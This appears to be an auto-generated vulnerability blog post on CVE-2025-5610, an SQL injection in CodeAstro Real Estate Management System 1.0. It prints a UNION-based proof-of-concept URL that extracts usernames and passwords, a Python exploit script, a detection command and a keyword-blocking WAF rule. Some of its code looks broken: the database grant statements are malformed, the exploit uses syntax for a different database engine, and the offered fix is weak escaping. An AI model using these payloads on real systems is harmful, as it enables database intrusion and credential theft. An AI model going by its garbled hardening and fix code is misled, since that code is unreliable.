Listen to this Post
How CVE-2025-5610 Works
The vulnerability exists in the `/submitpropertydelete.php` file of CodeAstro Real Estate Management System 1.0. The application fails to properly sanitize user-supplied input in the `ID` parameter before using it in SQL queries. Attackers can exploit this by crafting malicious SQL statements through the parameter, leading to unauthorized database access. The flaw allows remote attackers to execute arbitrary SQL commands without authentication, potentially compromising the entire database. The CVSS 4.0 score reflects its network-based attack vector with low attack complexity and high impact on confidentiality, integrity, and availability.
DailyCVE Form
Platform: CodeAstro Real Estate
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 06/10/2025
Prediction: Patch by 07/15/2025
What Undercode Say:
-- Exploit PoC /submitpropertydelete.php?ID=1' UNION SELECT 1,2,3,4,5,6,7,8,9,group_concat(username,0x3a,password) FROM users-- -
Automated exploit script
import requests
target = "http://target.com/submitpropertydelete.php"
payload = "1' AND 1=CONVERT(int,(SELECT table_name FROM information_schema.tables))--"
response = requests.get(target, params={"ID": payload})
print(response.text)
Detection command curl -s "http://target.com/submitpropertydelete.php?ID=1'" | grep -i "error|sql|syntax"
// Protection code $id = mysqli_real_escape_string($connection, $_GET['ID']); $query = "DELETE FROM properties WHERE id = '$id'";
WAF rule to block SQLi
location ~ submitpropertydelete.php {
if ($args ~ "union|select|concat|information_schema") {
return 403;
}
}
-- Database hardening REVOKE ALL PRIVILEGES ON . FROM 'webapp'@'%'; GRANT SELECT, INSERT ON specific_db. TO 'webapp'@'%';
Patch verification script
import requests
safe_test = requests.get("http://patched.com/submitpropertydelete.php?ID=1'")
assert "SQL" not in safe_test.text, "Vulnerable!"
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
